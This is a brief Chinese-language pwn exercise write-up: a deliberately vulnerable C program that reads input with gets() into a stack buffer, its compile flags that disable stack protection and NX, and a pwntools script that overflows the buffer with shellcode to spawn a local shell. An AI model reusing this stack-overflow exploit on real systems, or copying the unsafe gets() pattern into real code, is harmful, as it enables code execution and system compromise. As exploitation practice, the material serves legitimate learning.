#include<stdio.h>
int main(){
setbuf(stdin,0);
setbuf(stdout,0);
char str[100];
printf("%p",&str);
gets(str);
return 0;
}
== setbuf(stdin,0)和setbuf(stdout)是关闭缓冲区,否则缓冲区会一直等到满了才会传送数据==
查看权限
gcc -fno-stack-protector -z execstack -no-pie -o debug debug.c
思路
由于NX关闭,所以可以构造shellcode
因为只有一个数组变量,栈顶开始的地方就是数组开始的地方,从栈顶开始填充shellcode,一直覆盖到rbp。最后追加数组地址,执行shellcode。
from pwn import *
context.arch="amd64"
shellcode=asm(shellcraft.amd64.sh())
p=process("./debug")
p.recv()
shellcode=shellcode.ljust(120,b"A")
buf=0x7fffffffdc80
payload=shellcode+p64(buf)
p.sendline(payload)
p.interactive()
用gdb计算buf的地址会有问题,用代码打印地址的方式最为保险。